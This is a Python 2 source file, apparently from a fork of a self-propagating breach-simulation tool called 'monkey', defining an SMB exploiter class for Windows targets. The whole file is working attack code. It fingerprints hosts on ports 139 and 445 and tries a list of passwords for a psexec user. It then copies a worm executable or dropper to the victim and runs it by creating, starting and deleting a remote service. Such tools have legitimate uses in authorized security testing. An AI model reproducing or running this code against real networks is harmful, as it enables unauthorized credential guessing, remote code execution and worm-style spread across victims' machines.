forked from p34709852/monkey
153 lines
5.7 KiB
Python
153 lines
5.7 KiB
Python
import sys
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from logging import getLogger
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from model.host import VictimHost
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from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
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from exploit import HostExploiter
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from network.tools import check_port_tcp
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from exploit.tools import SmbTools, get_target_monkey
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from network import SMBFinger
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try:
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from impacket import smb
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from impacket import uuid
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from impacket.dcerpc import dcerpc
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from impacket.dcerpc.v5 import transport, scmr
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from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
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from impacket.smb import SessionError as SessionError2
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from impacket.smb3 import SessionError as SessionError3
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except ImportError, exc:
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print str(exc)
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print 'Install the following library to make this script work'
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print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
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print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
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sys.exit(1)
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LOG = getLogger(__name__)
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class SmbExploiter(HostExploiter):
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_target_os_type = ['windows']
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KNOWN_PROTOCOLS = {
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'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
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'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
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}
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USE_KERBEROS = False
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def __init__(self):
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self._config = __import__('config').WormConfiguration
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def is_os_supported(self, host):
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if host.os.get('type') in self._target_os_type:
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return True
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if not host.os.get('type'):
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is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
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if is_smb_open:
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smb_finger = SMBFinger()
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smb_finger.get_host_fingerprint(host)
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else:
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is_nb_open,_ = check_port_tcp(host.ip_addr, 139)
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if is_nb_open:
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host.os['type'] = 'windows'
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return host.os.get('type') in self._target_os_type
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return False
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def exploit_host(self, host, src_path=None):
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assert isinstance(host, VictimHost)
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src_path = src_path or get_target_monkey(host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", host)
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return False
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passwords = list(self._config.psexec_passwords[:])
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known_password = host.get_credentials(self._config.psexec_user)
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if known_password is not None:
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if known_password in passwords:
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passwords.remove(known_password)
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passwords.insert(0, known_password)
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exploited = False
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for password in passwords:
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try:
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# copy the file remotely using SMB
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remote_full_path = SmbTools.copy_file(host,
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self._config.psexec_user,
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password,
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src_path,
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self._config.dropper_target_path)
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if remote_full_path is not None:
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LOG.debug("Successfully logged in %r using SMB (%s : %s)",
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host, self._config.psexec_user, password)
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host.learn_credentials(self._config.psexec_user, password)
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exploited = True
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break
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except Exception, exc:
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LOG.debug("Error logging into victim %r with user"
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" %s and password '%s': (%s)", host,
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self._config.psexec_user, password, exc)
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continue
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if not exploited:
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LOG.debug("Exploiter SmbExec is giving up...")
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return False
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# execute the remote dropper in case the path isn't final
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if remote_full_path.lower() != self._config.dropper_target_path.lower():
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cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path}
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else:
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cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
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if host.default_tunnel:
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cmdline += " -t " + host.default_tunnel
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for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
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rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))
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rpctransport.set_dport(port)
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if hasattr(rpctransport,'preferred_dialect'):
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rpctransport.preferred_dialect(SMB_DIALECT)
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if hasattr(rpctransport, 'set_credentials'):
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# This method exists only for selected protocol sequences.
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rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
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"", "", None)
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rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
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scmr_rpc = rpctransport.get_dce_rpc()
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try:
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scmr_rpc.connect()
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except Exception, exc:
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LOG.warn("Error connecting to SCM on exploited machine %r: %s",
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host, exc)
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return False
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smb_conn = rpctransport.get_smb_connection()
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# We don't wanna deal with timeouts from now on.
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smb_conn.setTimeout(100000)
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scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
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resp = scmr.hROpenSCManagerW(scmr_rpc)
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sc_handle = resp['lpScHandle']
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# start the monkey using the SCM
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resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey",
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lpBinaryPathName=cmdline)
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service = resp['lpServiceHandle']
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try:
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scmr.hRStartServiceW(scmr_rpc, service)
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except:
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pass
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scmr.hRDeleteService(scmr_rpc, service)
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scmr.hRCloseServiceHandle(scmr_rpc, service)
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LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
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remote_full_path, host, cmdline)
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return True
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